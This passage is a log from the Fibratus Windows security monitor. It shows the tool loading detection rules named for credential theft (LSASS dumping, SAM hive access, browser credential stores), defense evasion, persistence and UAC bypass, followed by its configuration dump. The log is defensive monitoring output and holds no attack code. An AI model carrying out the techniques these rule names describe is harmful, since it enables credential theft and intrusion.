source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation_or_directory_creation.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-28T16:54:51+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-11-28T16:54:51+01:00 level=info msg=bootstrapping with pid 20360. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-11-28T16:54:51+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ to=>[] content-type=>text/html enabled=>false port=>25 use-template=>true] systray=>[ enabled=>false sound=>true quiet-mode=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-threads=>false serialize-pe=>false serialize-envs=>true serialize-handles=>false] + eventsource .................... [ enable-handle=>false enable-image=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-net=>true flush-interval=>1s enable-vamap=>true enable-threadpool=>false enable-thread=>true enable-dns=>false min-buffers=>16 enable-mem=>true enable-audit-api=>true stack-enrichment=>true buffer-size=>512 max-buffers=>36 enable-fileio=>true enable-registry=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text max-age=>0 max-backups=>15 log-stdout=>true level=>info max-size=>100] + output ......................... [ http=>[ timeout=>5s method=>POST enabled=>false tls-insecure-skip-verify=>false enable-gzip=>false endpoints=>[] serializer=>json] eventlog=>[ level=>info enabled=>false] amqp=>[ passive=>false delivery-mode=>transient exchange-type=>topic tls-insecure-skip-verify=>false url=>amqp://localhost:5672 routing-key=>fibratus enabled=>false vhost=>/ exchange=>fibratus durable=>false timeout=>5s] elasticsearch=>[ template-name=>fibratus healthcheck=>true bulk-workers=>1 flush-period=>1s servers=>[http://127.0.0.1:9200] gzip-compression=>false sniff=>false trace-log=>false enabled=>false healthcheck-interval=>10s healthcheck-timeout=>5s index-name=>fibratus timeout=>5s] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true]] + pe ............................. [ excluded-images=>[svchost.exe] read-symbols=>false read-resources=>false enabled=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ excluded-files=>[] excluded-procs=>[] skip-mmaps=>false skip-files=>false fastscan=>true skip-allocs=>false enabled=>false skip-registry=>false scan-timeout=>10s rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]]] source=bootstrap/bootstrap.go:187 +time=2025-11-28T16:54:51+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-28T16:54:53+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-28T16:55:06+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-28T16:55:07+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-28T16:55:07+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-28T16:56:02+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 